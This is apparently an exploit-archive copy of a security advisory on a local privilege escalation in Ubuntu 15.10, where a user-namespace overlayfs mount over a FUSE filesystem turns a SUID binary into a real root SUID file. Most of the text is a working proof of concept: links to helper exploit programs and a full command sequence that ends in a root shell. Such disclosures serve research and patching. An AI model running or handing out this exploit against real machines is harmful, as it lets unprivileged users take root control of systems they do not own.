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Ubuntu 15.10 - USERNS Overlayfs Over Fuse Privilege Escalation Vulnerability
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[Security Risk High
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Source: http://www.halfdog.net/Security/2016/OverlayfsOverFusePrivilegeEscalation/ ## Introduction Problem description: On Ubuntu Wily it is possible to place an USERNS overlayfs mount over a fuse mount. The fuse filesystem may contain SUID binaries, but those cannot be used to gain privileges due to nosuid mount options. But when touching such an SUID binary via overlayfs mount, this will trigger copy_up including all file attributes, thus creating a real SUID binary on the disk. ## Methods Basic exploitation sequence is: Mount fuse filesystem exposing one world writable SUID binary Create USERNS Mount overlayfs on top of fuse Open the SUID binary RDWR in overlayfs, thus triggering copy_up This can be archived, e.g. SuidExec (http://www.halfdog.net/Misc/Utils/SuidExec.c) FuseMinimal (http://www.halfdog.net/Security/2016/OverlayfsOverFusePrivilegeEscalation/FuseMinimal.c) UserNamespaceExec (http://www.halfdog.net/Misc/Utils/UserNamespaceExec.c) test# mkdir fuse test# mv SuidExec RealFile test# ./FuseMinimal fuse test# ./UserNamespaceExec -- /bin/bash root# mkdir mnt upper work root# mount -t overlayfs -o lowerdir=fuse,upperdir=upper,workdir=work overlayfs mnt root# touch mnt/file touch: setting times of ‘mnt/file’: Permission denied root# umount mnt root# exit test# fusermount -u fuse test# ls -al upper/file -rwsr-xr-x 1 root root 9088 Jan 22 09:18 upper/file test# upper/file /bin/bash root# id uid=0(root) gid=100(users) groups=100(users) # 0day.today [2024-11-14] #